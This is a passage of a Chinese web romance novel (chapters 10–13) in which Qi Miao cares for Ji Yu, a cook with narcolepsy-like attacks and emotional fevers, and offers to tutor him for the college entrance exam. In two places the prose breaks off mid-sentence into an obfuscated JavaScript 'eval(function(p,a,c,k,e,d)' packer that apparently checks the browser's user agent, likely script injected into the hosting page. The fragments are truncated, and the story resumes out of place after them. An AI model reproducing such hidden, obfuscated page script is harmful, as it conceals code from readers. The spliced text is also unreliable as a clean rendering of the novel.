季玉笑容腼腆:“不是的,平时要上班……而且一个人做饭也浪费……齐,齐小姐觉得好吃就太好啦……” 齐妙点头,停顿,再摇头:“嗯,可惜。” 季玉一听,大惊失色:“什,什么?” 齐妙回忆诊疗单,慢悠悠地数:“厨师本人贫血,胃溃疡,营养不良……看来压根没有认真吃饭,白白浪费了一手好厨艺。” 心脏悬在嗓子眼,季玉的脸一瞬间失血,他没想让齐妙知道这些,谁都会讨厌病怏怏的男人吧……唇瓣无力地上下开合,居然半天没说出一个字来,他站在原地失魂落魄。 温热的羹汤撬开他的唇缝,季玉找回神思,惊诧地发现齐妙居然在喂他喝汤!!! 神情和动作都自然得不正常,她还说:“有什么想问的想说的,都可以直接开口。” 季玉乖乖喝完半碗汤,深吸一口气,脸颊重新变得红扑扑:“……齐小姐,是在关心我吗?” 10. 改行换业当厨子 齐妙淡笑:“我以为很明显。” !!! 季玉瞪大双眼,心里早就乐开花儿。 “谢,谢谢,齐小姐关心。” 齐妙问:“今后有什么打算吗?你的身体不适合再喝酒了。” 季玉丝毫未犹豫,像一秒钟就做好决定:“嗯,我已经考虑好了,以后不卖酒只唱歌。如果老板不同意,我就辞职找别的工作。” 虽然钱广进起初欺骗了他,但这份工作薪水丰厚,还提供宿舍,对季玉当时来说缓解了燃眉之急。他一条烂命,能养活自己就行。 可现在不一样了,和齐小姐相处,他不能再满身酒气。 季玉默默琢磨着自己的存款,长期租一个带独立厨房的小单室套最好还是继续攒段时间,那就先把这里的露台整修一遍,添置舒服的桌椅,还有齐小姐专用的餐具…… “嗯,就算暂时找不到也没关系。你白天有便利店的兼职,晚上学习之余,还能早点休息,养养身体。”齐妙宽慰道。 “是,好,好的……”季玉傻不拉叽地应和,后知后觉关键词:“学习?!” “《牛津高阶英汉双解词典》,还有——”齐妙视线固定在他拿来为她垫高桌面的字典上:“你们宿舍桌上的高三教材,小优说除工作外的时间,你都留在宿舍学习。” 季玉顿时面红耳赤,屏住呼吸。他从不怕别人知道自己妄图自学参加高考,也不在乎旁人的冷嘲热讽,周遭环境无法动摇他。 但如果,如果齐小姐流露出一丝,哪怕一点点看笑话的态度,他不敢继续想象下去…… 突然昏睡的情况第一次发生在小学,妈妈以为他贪玩,逃避读书。后来次数多了,妈妈认定他没完没了地制造麻烦,就是为了博取关注。风油精、薄荷糖、揪眉心、掐大腿……他尝试过许多让自己清醒的办法,没有任何作用。 一开始醒来,他还能躺在床上,趴在课桌上,伪装成正常人那样的犯困小憩。渐渐地,草丛、地板、水泥地,不分场合,随时随地,以各种滑稽难堪的姿势陷入梦魇。 落下的功课可以补,高中前的课程自学起来还不算太吃力。直到某天,高中班主任,之前将他上课频频昏睡的行为视为叛逆期的挑衅,终于嗅出些不寻常,他压抑火气,先是问:“你是不是有病啊?” 随即缓和语气,解释:“不是,大家不要误会,我是担心季同学的身体状况。你们这个年纪缺觉犯困很正常,但你这个,啧,太不像话了……这样吧,我建议啊,周末让你父母带你去医院检查一下……” 其实,听见那句“你是不是有病啊”,季玉愣了两秒,居然松了口气。对啊,说不定他真的有病呢,就是因为有病才连什么时候睡觉都控制不住。 他甚至暗自盼望确诊什么棘手的重病绝症,这样他就可以懂事地对妈妈说放弃治疗我们回家吧,不要浪费钱,最后一段时间我只想和妈妈在一起。 可惜妈妈没有给他机会。 她对老师的提议嗤之以鼻,骂骂咧咧:“你信他的话?人家就是懒得管你,找个借口推卸责任。这老师当得轻松啊,什么事都不烦,光想着怎么坑家长的钱是吧……我低三下四地求爹爹告奶奶,就为了给你赚学费,结果你这个没良心的白眼狼不向着自己亲妈……怪不得别人骂你有病!” 她心气不顺的时候,谁在面前就指着谁鼻子一通乱骂,家里就他俩活物,因此季玉挨的骂最多也最狠。 季玉知道,一旦回话,就会被她判定为顶嘴,如果夺门而出,平时最在乎脸面的妈妈会彻底变成另一个人,穷追不舍地把事情闹大,让所有街坊邻居围观点评。 自那之后,他在学校的处境更艰难。班主任偶尔训斥其他学生,指桑骂槐:“来学校干嘛的?学习!你要是想学某些人,把学校当宾馆,干脆把东西收收回家睡去,别耽误其他同学的时间。” “近朱者赤近墨者黑啊,你们要多向勤奋优秀的同学靠近,别什么污七八糟的人都沾边,传染什么坏毛病……你看人不学习,男不男女不女的,每天照样心安理得地坐着,家里说不定有矿呢!穷人家的孩子早当家,哪睡得着哟……” 老师把他当空气,同学视他为瘟疫,久而久之,季玉不想再因为自己浪费大家的课堂时间,所以申请了退学。退学过程挺顺利的,因为在此之前,妈妈就离开了。离开家,离开他。不对,是带走所有家当,卖掉房子,抛弃他。 这不是第一次了。他没有感到意外,也没有特别难过。 他离开学校,却不想放弃高考。但妈妈的出走,让他不得不暂时放下,四处流浪,寻找打工的机会。 唉,高中都没念完,齐小姐会怎么看他?不学无术,自甘堕落,无病呻吟……看吧,连四字成语都想不起来几个,果然是矫情的文盲,没有前途的混混! 更可恶的是,深埋心底的第一念头居然是责怪小优,怪他多嘴,怪他和齐小姐搭话,怪他和齐小姐聊得这么多那么多。 但聊的内容是他,季玉又没那么怪了,他就像只不生气的河豚,被齐小姐捏在指尖,她碰一下,他就欢天喜地,她一放手,他就垂头丧气:“齐小姐,小优不是坏人,他这次说的也是真的……但是,能不能,能不能不要和他单独……我以后什么都会告诉你的!只要齐小姐想知道!” 季玉心理活动丰富,真正表达出来的不及内里十分之一。仅仅表面,齐妙就觉得他的脑回路有点剑走偏锋,永远猜不准关注点具体在哪儿。 剑走偏锋,才有趣啊。 齐妙没打算答应他,拨开厚重的字典,随手翻了翻,五颜六色的索引贴遍布:“是明年参加高考吗?有信心吗?” 季玉点头,不好意思地抬眸望她,一双大眼睛清澈而明亮,透着孩子般的稚气:“没有信心……我就是试试,明年不行还有后年,大后年,大大后年……” 以防他无限数年份,齐妙直接自荐:“需要我帮你补习吗?高考的题目,我应该还行。” 她一点儿废话也不多说,什么某市某届理科状元,什么清北大学本硕博连读……这些都没必要提,学习归学习,教人归教人,先前的成果自然不作数。 另外,她意识到自己犯了一个错,但落子无悔,不过敢作敢当而已。一旦季玉接受,他们之间将开启一段稳定且长久的联系。 头脑风暴外,某位傻大个恍恍惚惚,隐形的小狗尾巴摇成虚影:“!!!” “我愿意!!!”他嗓门老大,喊得震天动地。 意外之喜冲昏头脑,他还分神悲观起来:“就是太麻烦了,不能耽误你的学业……我知道这种大学生一对一补习费用不低,齐小姐不用客气,我很笨,你愿意教,我真的不知道该怎么报答……” “我们就按最贵的价格来,你放心,我有钱,一定按时交学费,不赊账不赖账,每月的水电费都是第一个交!对了,这张银行卡里有一部分先给你……” 他习惯把值钱的财物随身携带,比如银行卡,里外都薄薄的,隔着口袋,时不时就要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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单位免费提供早午餐,既然免费,就不能挑剔口味和种类。简而言之,烧来炒去无非糖醋里脊、各种炸物、什锦杂烩那几样,重油重盐重糖,和学校食堂差不太多。多年大锅食堂的培训下,齐妙以为自己早就失去了对美食的兴趣与鉴赏力。 她不算挑剔,也没什么追求,但开小灶的机会就放眼前,傻瓜才会错过。 季玉终于开了点窍,眼睛唰地就亮了,欣然答应:“好,好,好的!!!齐小姐喜欢吃什么,讨厌吃什么,有没有忌口……一日三餐,还有甜品和水果,我保证每天都不重样!每天现做,送到齐小姐学校可以吗……” 说着说着骨头就软了,齐妙眼疾手快,顺势环住他的腰接下来。季玉手长腿长的,再瘦也是个成年男子,骨头架子分量足,但身体软绵绵的。 情绪起伏大容易诱发睡病,问题在于,这有什么好激动的? 高脚椅不大不小,一个人绰绰有余,两个人无论如何也坐不下。齐妙费劲调整姿势,抱住脑袋,尽量不让他滑溜下地。 午后阳光从窗外透进来,季玉枕在她怀里,像小动物的本能反应,无意识蹭了蹭,埋得更深才踏实。齐妙担心闷坏,把人挖出来透气,季玉脸颊扑着热气,哼哼两声,继续拱啊拱,钻回原位。 然后再不动弹了,呼吸平稳,半侧的浓密睫毛铺覆。齐妙伸出手,轻轻触摸,她撩拨一下,他就微微一颤,含糊不清的语气像撒娇:“……痒痒。” 齐妙觉得好笑,小声嘀咕:“忍着。你痒,我手还痒呢。” 11. 没头没脑只管哭 第一次。 季玉第一次没有做噩梦,没有听见尖锐刺耳的声音,没有感到惊惧寒冷。 相反,周遭安静,微风和煦,仿佛置于春暖花开的日子,全身暖融融的,轻盈的羽毛一下下轻触着皮肤,一切都温柔得不可思议。 时间变得不再漫长,季玉第一次不想睁开眼。 天,天呐!更离谱的梦还在后面,他他他居然躺在齐小姐怀里!!!他狠狠揉搓眼皮,闭上眼再睁开,再揉搓……几番操作下来,眼睛通红,泛着水光,幻象仍没有消失。 季玉目瞪口呆,像条缺水的活鱼“腾——”地立起来,然后又“啪——”地摔回去,重新断电,死机,躺尸。 迷朦醒来,反应现状,激动猝睡,三步走路线,他硬生生走了四五趟都没能控制住情绪,无异于陷入无限循环的梦境,来回反复。 睡眠本来是为了让身体充分休息,恢复机能活力,而反常的猝睡只会让人越来越累,不光对生理,对心理同样是种伤害。明明分不清现实与梦境,但每一次,他的第一反应都是慌里慌张地忙着离开齐妙的怀抱。 开始还能撑着站在她面前道歉再倒下,后来情感与理智的矛盾拉扯,精疲力竭下浑身无力,几乎手脚并用地爬摔出去,歪倒在冰冷的水泥地上,半闭着眼,喘着粗气,像只奄奄一息的流浪狗崽。 说些叫他冷静的话无济于事,放任他躺在地上又太过不行人事,齐妙想了想,和他商量:“地上凉,先起来。你不想让我碰的话,我把小优叫来送你回宿舍。” 季玉一声不吭,急促的呼吸声渐小,沉重的眼皮向下耷拉,再次没了反应。不知道他脑补了些什么,这回睡得极不安稳,手指抽动,眉头紧锁,额角居然渗出冷汗来。 他醒来时,不意外地发生了鬼压床的情况。黑暗无光,只剩下他一个人的孤独世界,浑身僵硬没有知觉,一根手指头都抬不起来,仅仅睁开千斤重的眼皮就耗费他全部气力。 所幸反复折腾下的极度消耗令他平静了许多,虽然对于眼下梦都不敢梦的场景还是又惊又喜,但起码不会因为兴奋过度又撅过去。 好吧,虽然在听见齐小姐说要去找小优的时候,因为伤心过度重蹈覆辙。 不该睡的时候猝倒,该睡的时候失眠,睡着了梦魇鬼压床,睡醒了动弹不得……季玉早已习惯,只要放任不管,忍忍就过去了,一直以来他都是这样过的,看起来和正常人也没什么区别。 他从来,从来没有从一个温暖的怀抱中醒来,鼻尖能嗅到淡淡的好闻香气,还有一双平静如水的眼眸注视着他。 不争气的身体令他洋相百出、糟糕透顶,可那对眸子从未透出任何烦躁或厌恶,环绕他肩膀的手臂也没有松开的迹象……甚至,看出他沉默下的不适,用温热的手掌一点点按摩他僵直的胳膊和手指。 僵尸状态尚未解除,季玉头脑混沌还张不开嘴,舌头打结,上牙咬下颚的,说话含糊不清,呜呜咽咽的,连犯蠢的呆头鹅都比不上:“……呜对……唔啊不次哇……” “你没有犯错,不用说对不起。”齐小姐不愧是齐小姐,快速解开他语无伦次的乱码,询问道:“要回宿舍休息吗?” 一听回宿舍,季玉就自动关联小优,齐小姐离开,见不到她……他像回光返照的病人,濒死挣扎的鱼虾,吱唔乱嚷,断续发出不成调的破碎词语。 怕齐小姐产生丁点儿误会,他拼命扭动生锈的脖颈和浇铸钢筋水泥的脑袋,还有手指,所有能表示“不要”的部位都要动起来。 掌心下的身体在颤抖,还不大灵活的头部和手指摇得如同低频率的拨浪鼓,齐妙哪还能不理解他的意思:“嗯,那就在这儿平复情绪,再缓一缓。” 她托着人的后颈,脚一蹬,滑轮椅就呲溜往目的地滑,季玉猝倒前现做的红糖姜撞奶还没来得及喝,放在保温壶里仍热气腾腾。 齐妙倒了两杯凉着,边暖手边等的间隙,补充先前没说完的事儿:“一日三餐太辛苦了,每天做一顿足够。没有忌口,完全不重样也不现实,就按照你的口味来吧。我学校就在街心公园附近,你不是在那儿兼职吗?我到时候顺路去店里拿就行。” 她做事向来高效,短时间内就安排得清晰明了,可明明是体贴的减负规划,季玉却垂下眸子,失落的神情难掩。 一日三餐怎么会辛苦呢?大家都是这么吃饭的呀……齐小姐是不是终于意识到他是个随时猝倒的麻烦精,顾及他的毛病,后悔先前的提议,但又不好意思再拒绝,所以才……没有忌口,可是总有偏好呀,想尝试的,有点喜欢的,挺喜欢的,特别喜欢的,不喜欢的,讨厌的,绝对不想吃的……齐小姐不想告诉他,是不是连了解她口味的机会都不愿意给他……完全不重样为什么不现实呢?家常菜谱一百道做完了,就买一千道,一万道菜谱,川鲁苏粤各地的菜系他都可以学,中式的做过了还有美式法式泰式韩式,书上的都有了,就搜罗网上的菜谱,还有街边饭店,菜场小贩推荐……齐小姐不相信他,也不愿意他去学校找她……也是,他这样的人,能偷偷在远处见齐小姐一面就是最好的了,有什么资格当众出现在她面前,奢望与她攀谈? 他没头没脑地想着,一颗心极速下降至谷底,习以为常的柠檬香水此刻刺激得他鼻酸,乱颤的睫毛又把眼睛戳得生疼。他想抬手揉一揉,揪出趁乱惹事的睫毛,但僵直的身体完全不受摆布,越着急使劲,骨头里的无力酸软就越往上涌。 季玉紧咬牙关,屏住呼吸。以前鬼压床醒不来、感到窒息的时候,他尝试过很多种方法,叫喊挣扎,咬破舌头,心理暗示,扇自己耳光……后来发现最有用的也最难受,那就是憋气。憋到极限就会醒来,然后大口大口呼吸,反而有种劫后余生的庆幸感。 可是这次,他连憋气都憋得不顺利。有双雪白的手,捏住他轻微鼓起的两颊,向内戳戳再松开,让他不自觉乖顺下来,放松肌肉。对方抬起食指,用指腹捻了捻他的眼尾,轻轻吐出似无奈的叹息:“……怎么哭成这样?我的提议让你很委屈吗?” 季玉漂亮的眸子里好像藏着千言万语,齐妙姑且用“委屈”来概括。他似乎不知道自己在落泪,呼吸不畅引发胸口剧烈起伏,无 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她一开口,季玉眼泪的闸门就大肆敞开,彻底关不上了。他非常、非常用力地吸了吸鼻子,仰头把眼睛撑得更大一点,抿紧的嘴唇越努越高,形似一座“^”型小山。泪水在短时间内蓄满眼眶,泛涌流动的金光,他的瞳仁黑而亮,里面好像住着满船的星星。 齐妙看着动画片里才出现的蛋花眼,觉得有点可爱,但她不言不语也没什么动作表示,把人弄得彻底崩溃,以为被冷暴力,泪水哗啦啦地把心声都冲了出来:“……呜齐小姐是,是不是后悔了呼……嗬呼呼嫌我丢人麻烦碍眼哭起来特别丑……什么都不好只会添乱呜……可我、我就是超级、超级、超级想给齐小姐做饭啊呜呼……每天都想,一日三餐,还有甜品饮料,不重样……” 季玉从不知道自己居然还是个泪失禁体质,也可能是齐小姐面前特供。他还残留一份遮羞的心思,双手捂住脸,觉得自己此刻其实与扒光衣服无异,齐小姐一放手,他就要去撞墙死一死,反正她肯定很快就会把他推下去,现在耍耍赖应该是可以的吧? 捂脸归捂脸,伤心也是真的,但他没遮严实,而是空出指间的缝隙,偷偷观察齐小姐的表情。 齐妙早就忘记自己上一次哭是什么时候,婴儿时期吗?听说她从小就很安静,情绪淡得令父母费解。上一次看男人哭,大概是和前男友分手时。 诶?那人哭起来有这么带劲吗?肯定没有,前男友很无趣,连哭都让人留不下印象。真失败啊。 她听说,小孩哭是扯着嗓子干嚎,为了吸引家里人的注意,以此满足自己的要求。成年人的眼泪是克制的,是需要找个借口抹两把,装作若无其事的。 而季玉此时的泪水,介于两者之间,泪流得太多太快,像是要把人生短短二十年里所有的苦痛一并宣泄,即便忍耐也没有任何用处,只会让泪水更加肆无忌惮,呜咽哭声间或从压抑的喉头迸出。 要么痛痛快快地哭,要么在泪水决堤前止住,季玉两不像,把自己卡在不上不下的位置,憋得呼吸困难,嗓音嘶哑,快要喘不上气来。 “没有后悔。”齐妙习惯先扫开头结尾,抓重点和中心,然后言简意赅地回答问题。按照步骤,接下来她应该一一应答,然而在那之前,她说起题外话:“为什么你连哭起来都这么好看?” 12. 等来主人的小狗 季玉呆了,傻了,打嗝了。 他赶紧捂住嘴,着急地吱唔半天说不出话来,反倒一个接一个地打嗝。 “我明白你的心意了。既然你超级、超级、超级想,那就做吧。”齐妙基本顺着他的意愿,尽量让他轻松点:“但早餐就不用了。我们上学起得早,学校食堂免费提供早餐,羊毛出在羊身上,说是免费其实都包含在学费里的,不吃反而浪费。” 季玉不停点头,眼瞳亮闪闪,说个话像报时的挂钟:“好,嗝!好好,嗝!谢谢,嗝!齐小姐,嗝!我,嗝!好开心,嗝!” “含一大口,不要立刻喝下去,小口小口咽。”齐妙把温着的姜撞奶递给他:“你太苛责自己。实际上除此之外,迄今为止,仅我所见,你把所有事都做得很好。” 上一秒“为什么你连哭起来都这么好看”的巨大信息量还没处理完,季玉脑子卡顿,机械地听从齐妙的吩咐,并高速且超额完成——含一大口,咕噜一声就吞进肚里。 ……齐小姐明明花时间陪他脱敏过,为什么,为什么三番五次地,连这点小事都改不好啊……他是不是只配烂在泥土里,不该和齐小姐接触,浪费她的时间,让她失望…… 眼睛一热,他又要哭。 “不用道歉,继续喝。”齐妙早有预判,提前阻止,想了想补充道:“想怎么喝就怎么喝,不想喝就停下。” 脱敏训练不是一蹴而就的。这回本来就只是一个停止打嗝的法子,既然容易勾起他的不安,效果如何也就不重要了,干脆换别的试试。 季玉慢慢安定下来,小口嘬热饮,虽然不相信自己的耳朵,却还是飘飘然,反复向齐妙求证,眼神恳切:“……做,做得很好?所有事?” “嗯,好喝吧?你亲手做的。”齐妙捧着玻璃杯,抿一口,热气环绕:“姜的味道,我不喜欢,纯牛奶也不常喝,但你做的姜撞奶却扬长避短,融合得很完美。这就是你的本事。” 季玉脸皮薄,肤色又白,正以肉眼可见的速度变成红苹果,嗝声响亮,打得脑袋上乱绒绒的呆毛一颤一颤。 “伸出手。”齐妙边说边看准位置,朝他中指靠近指尖的地方掐,力道逐渐加重:“可能会有点痛,稍微忍一忍。” 季玉看起来实在太像那种被卖了还帮人数钱的傻白甜靓仔,听话乖顺,从不反抗,也不怨忿,让他干嘛就干嘛,老老实实被掐,痛得生理性泪水渗出也不偏不躲。 “上一次有男人在我面前哭,我已经不记得自己是什么反应了,总归不会是体贴的态度。但是你,哭得很漂亮,让我不仅不反感,而且印象深刻。这也是你的本事。” 周围恢复寂静,齐妙松开手,注视着那双清透的眸子,淡然一笑:“别误会,刚刚那是停止打嗝的方法。” 融合得很完美……哭得很漂亮……不仅不反感,而且印象深刻……是你的本事……猝不及防的称赞漂浮眼前,季玉晕头转向地不知该先抓哪一句咀嚼吞腹。 他想感谢齐小姐,问一问这番话是安慰还是真心。想谦虚一点,说这些算不上什么。想说他对齐小姐不敢有非分之想,不管齐小姐做什么,他都不会误会。 任何一种,都还算体面绅士。 结果到头来,妒意烧得他焦灼难耐,脑抽失智:“在齐小姐面前哭的男人,还有谁?” “看吧,明明容易害羞,但偶尔横冲直撞地打直球,倒让人心情更愉悦。”齐妙嘴角噙着笑,目光一寸寸扫过他发红的双眼,高挺的鼻梁和润泽的唇瓣,然后眼波流转,慢悠悠地回答:“当然是,我的前男友啊。还有前前男友,前前前男友……还要听吗?” 季玉听得一阵热一阵冷,上一秒坐上氢气球飘上,下一秒猛然坠落摔个稀巴烂。原来这就是冰火两重的感觉啊。 他知道的啊,齐小姐一个大学生,怎么看怎么优秀,从头到脚都闪闪发光的。仅仅远观就会被她深深吸引,只要走近她,稍微相处一下,就会发现她比想象中更好更完美……就算天天换男友都不稀奇吧,可是,什么样的男人才能配得上她呢?世界上存在那样的男人吗?不。 头好痛。想吐。身体仿佛干旱荒漠的沙子正在融化,双腿失去知觉,然后是腰,快速蔓延至每一处。天地倒转,黑暗彻底覆盖白茫茫的幻境,他烂成一摊,被冰冻在原地残喘。 后腰抵住桌角,他不知死活地凝着齐妙:“……要听。” 齐妙对上他明显涣散、难以聚焦的眼神,抬手摸了摸发烫的耳廓,然后探向额头,基本确认:“你发烧了。” 季玉看起来有些迷糊,眼尾氤氲,两颊升起不正常的红晕,鼻尖和唇瓣被烧出灼热的温度。 反应也慢吞吞的,像回归本能,任由齐妙触碰,在她收回手之前,快速捉住纤细的手腕,摁向自己的脑门,紧紧相贴,喉咙发出小兽般满足的咕噜声:“……舒服。” 隔着衣袖,掌心的高温源源传来,齐妙微微蹙眉:“你现在需要降温。” 季玉不动,身形摇晃,全然不在意的模样,像是经历过很多次:“不用管它,一会就好了。” 早前说过,齐妙虽然具备研究人员职业病般的求知欲,但生活中,她并没有打破砂锅问到底的精神。人与人之间有条明显的边界线,另外,能让她产生探索兴趣的人不多,目前就这一位。 “你经常突然发烧吗?原因是?” 据她所知,不管是发作性睡病,还是嗜睡症,都不伴随发烧的症状。人在室内,没吹风没淋雨的,总不至于什么都没做就突然着凉。 “嗯……特别、特别伤心难过的时候,会很热,头晕。”这时候的季玉脑子一团浆糊,反而问什么答什么,直白而坦率:“要睡觉,睡不好。” 季玉还记得久远的那一日,天气很好,蝉鸣雀跃,灿烂阳光从葱绿的叶片缝隙间泼洒下来,妈妈难得兴致不错,牵着他的手压马路、逛公园。 他喜欢走在妈妈身侧偏后一点,小心翼翼地依偎着她的影子,就好像被妈妈拥抱进怀里,巨大的安全感笼罩,他感到满足而幸福。 然后,那片影子停下了。他疑惑地抬起头,看见发誓戒酒的妈妈眺着不远处的酒吧,脚步徘徊。 没过多久,她轻叹一声,转身朝他笑了笑说:“小玉乖,你在这里等妈妈。妈妈进去见个朋友,很快就回来。” 他其实很不安,想扯住妈妈的衣袖不让她离开,恐怕妈妈早就忘记类似的谎言她说过多次遍。但他只是点点头,懂事地松开手留在原地,努力挤出乖巧的笑容。 他坐在碧色大树下的花坛边,数落叶,数过路的人,眼睛紧紧盯着妈妈消失的路口。不知道等了多久,天渐渐阴沉,蜻蜓低飞,闷热酷暑像座蒸笼,抽干他的水分和神智。 季玉不由地握拳捶向胸口,试图缓解气短和恶心作呕的不适。他还能感觉到自己流了好多汗,湿咸的液体淌进眼里,干裂的唇瓣生疼,肚子叽里咕噜地叫。 下一瞬,他大口喘息却怎么都吸不进氧气,蜷缩着歪倒在一边。 意识彻底消散前,淅淅沥沥的雨水滴落脸庞。很快,雨势愈大,夏季丰盈的雨水从口鼻灌入,浇透他整个身子。为数不多的过路人匆忙跑离躲雨,无人留意花坛下似乎安静沉睡的瘦小身躯。 季玉没有挣扎,阖上眼,不想给任何人添麻烦。可最终,他还是被好心人发现,颤抖着手把他从角落挖出来。当时他撑不开眼皮,独自陷入黑暗,依稀听见嘈杂的声响。那是一个老者,之后还有几个较年轻的声音。 “哎呀!不得了,滚烫的!快快快,来个人搭把手……” “孩子,醒醒,醒醒啊,别睡!千万别睡!” “谁家的孩子啊?!父母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那之后,他常常发烧。天气热,天气冷,晴天,雨天,情绪波动大的时候。有的睡一觉就能好,有的会持续一段时日,久了他大概也能摸清身体里莫名其妙的规律。 齐妙曾听老一辈说情绪不好就爱生病,她还以为是唬小孩的,没想到眼前就有个活生生例子。 情绪性发热不算严重,但她也不可能放任不管。面面相觑没有意义,掌心相贴不能真正降温,所以她说:“放手。” 季玉还是不动,沉默着垂下脑袋。 还挺倔。 烧出第二重人格了是吧?还是真正的本性? 齐妙有些意外,她倒不介意给病人一点儿特权,但现在不是时候。她重复说明,字句更清晰、更准确:“放开我的手。” 她耐心有限,不会重复第三遍。如果季玉还是不听话,她会用另一只手直接把他打晕。无法沟通的人,她一般选择不沟通。 季玉慢慢慢放下手,近似龟速,一点点松开、后退,万分依恋地摩挲她指尖的软肉。齐妙毫不留情地抽回手,一屁股坐回高脚椅,双手抱臂,睥他一眼:“你们宿舍应该有体温计、降温贴、退烧药之类的基本药物吧。” “……没有的,我不用那些。”季玉丢魂似的反应半晌,也不知道清醒没有,突兀地蹲在她面前,小心地抬眸望向她,带着讨好的笑,可怜兮兮:“齐小姐腿酸了吧?都怪我让你受累。” “我能不能,能不能帮你捶一捶,放松一下肌肉?不会直接碰到你的……” 他说着,又一次脱下外套,盖在她腿上。本就发烧冒汗,外套一脱,冷不丁又受冻,冒冒失失地起身跑远,捂鼻打了个喷嚏,再火急火燎地跑回来乖乖蹲着道歉,等待她的指令。 齐妙居高临下地俯视,蓦然想起一个单词。 「puppy」——可爱、单纯、忠诚,毛茸茸的小狗。需要被呵护,偶尔会调皮捣蛋闹别扭,通过一些小任性来确认主人的爱与关注。 她拣起腿上的衣服,随手给他披上,一言未发地起身,阔步向门口走去。 身后迟迟未传来响动,齐妙回头,仍蹲在原地的小狗湿着一双眼,巴巴地瞅着她的背影,然后终于、终于等来主人的指令。 “还愣着干什么?跟我去车上。” 13. 少男情怀也是诗 齐妙车上有些应急的备用品。 季玉的体温不算很高,但人晕晕乎乎的,走不来直线,下楼的时候鼻尖几次差点儿撞上墙灰,沁水透亮的眼神迷离。他顺从地跟着齐妙,亦步亦趋,像条小尾巴。 从楼下走向车内短短几分钟的路程,秋风扫过,季玉冷不丁被吹得打了个寒颤,也不吭声,眉头都没皱一下。明明是怕冷畏寒的体质,却总是穿得很单薄。 他规矩地坐在后排,双手分别放在膝头,腰板挺直,脑袋抵上车顶。 见人病中身体疲软还要强撑,齐妙拍了拍座椅,示意:“躺下吧,会舒服点。” 季玉点点头,动作略迟缓,手指紧张地摩挲,掌心下传来毛绒绒的触感,应该是天冷刚换的车垫,像烤得金黄的热棉花糖。齐小姐果然很温柔呢。 少男情怀也是诗,他的心脏砰砰直跳,不自觉双手合十,怀着虔诚的态度,正喜滋滋地准备斜躺下去,电光火石之间,突然想起——发烧,意味着自己是不是流汗了?还有脏兮兮的眼泪痕迹!还有还有,厨房挥之不去的油烟味! 季玉猛地刹住,停滞半空,强行摆头扭正身体,拿出纸巾就开始擦擦擦,疯狂蹂躏脸部皮肤。一切妥当之后,才小心翼翼地躺倒,团叭团叭努力蜷缩,减少占用面积。 神奇的是,现在齐妙大致能理解他这番操作下的脑回路。像读一本引人入胜的推理小说,她看得津津有味,末了拍拍大腿:“过来,脑袋枕上来。” 话音刚落的瞬间,季玉的脸快要熟透,整个人似乎都在冒热气,眼睛瞪得溜圆,喉咙间发出疑惑的咕哝:“……嗯???” 平时他害羞扭捏磨蹭都没关系,但今天不行,她还有事。另外,更重要的是,目前来看,这家伙心理承受能力较差,不知道哪一句就会引起他睡病发作。 所以,齐妙赶紧给他降降温:“剩余时间不多,四十分钟后我就要走了。” 顺手往脑门贴了张退热贴。 双重意义上的降温。 一听这话,发热的脑袋拐不了弯,找准位置,一鼓作气丝滑就寝。季玉仰面,长发铺散,紧闭双眼,捂住吵闹的胸膛,一秒钟都无法与齐妙对视。 齐妙俯下身,展开毛毯仔细整理,旋即望向睫毛不停颤动、存在感很强的睡美人,眼尾弯出浅浅的弧度:“肌肉这么紧绷,能休息好吗?” 她伸手,搭上他的肩,极其自然地捏了两下,顿了顿又说:“抱歉,我可以碰你吗?” 季玉浑身一抖,急吼吼睁开大眼睛,透出阳光照耀下湖面翻涌的粼粼波光:“当然!齐小姐想怎么对我都可以!” “能的,特别舒服!我放松,放轻松……”像自我暗示般喃喃嘀咕,手指头一圈圈比划,他操心地问:“齐小姐累不累?我有点重,脑袋尤其重。” 怎么,智慧的大脑沉甸甸是吗? 齐妙刚想笑,就听见他接着说:“妈妈总说我吃的多,光知道长个子不知道长脑子。还说我小时候掉进过河里,一定是那会儿脑袋进了很多水。” 声音低低的,没什么波澜,像呓语撒娇,又像逗她开心的笑话。 柠檬的香气很清爽,同时带来的酸涩也难以忽视,以不可阻挡的架势,从鼻尖钻入肺腑。良久,齐妙轻叹:“不要什么话都相信啊。” 季玉:“妈妈的话,也不能全部相信吗?” 不是没有怀疑过,不经意透露的悲惨过往是否为精心设计的陷阱?单凭这样一张让人无论如何也生不了气的脸,会遭受如此多的恶意吗? 齐妙保留这份质疑,不探究也不追问,注视着他的眼睛,语气平静地编织谎言:“脑袋沉是因为承载智慧,你很聪明,妈妈怕你骄傲,故意说谎骗你。” “但这种方式是不对的,她该向你道歉。” “嗯嗯!齐小姐说的我都信!”季玉傻笑,极具攻击性的艳丽长相都变钝、变软和:“齐小姐特别擅长夸人呢,每次都让我轻飘飘的,像气球一样飞来飞去。” 比喻句用得像小孩,骗他倒比骗小孩还容易。 看来生病的时候比往日坦率许多。 齐妙部分坦白:“我也一样,是个会说谎的普通人。” 季玉却摇摇头:“没关系,齐小姐对我说谎也没关系,更不用向我道歉。永远有效。” 承诺的话语,齐妙向来不在意,她注意到,季玉时不时抬手按压额头,表情却没有显露丝毫痛苦。 “太凉了吗?还是头痛?”她问。 他指了指脑门正中,思索片刻,十分认真地组织语言:“嗯……这里面,在施工,用锤子敲门。” 简而言之,就是“痛”的具像化吧。 “我没有钥匙,打不开。”季玉手握拳,敲敲打打闹腾的脑门,又珍惜地摸了摸降温贴,笑得很甜:“谢谢齐小姐。凉凉的,会少敲点门。” 噢,原来发烧还能开拓脑洞,想象力直接乘坐火箭,冲上云霄。 “不客气。”齐妙理解完毕,指腹贴近他太阳穴附近打圈按摩:“力度怎么样?有好一点吗?” 齐小姐触碰的地方,传来过电的感觉,她的体温不高,指尖带着冷火焰,恰好缓解他忽冷忽热的病症:“唔……好舒服好舒服好舒服……” 眼皮渐沉,肩膀耸拉,季玉感觉自己像块被太阳照耀的黄油芝士,软塌塌的,在加速融化中…… 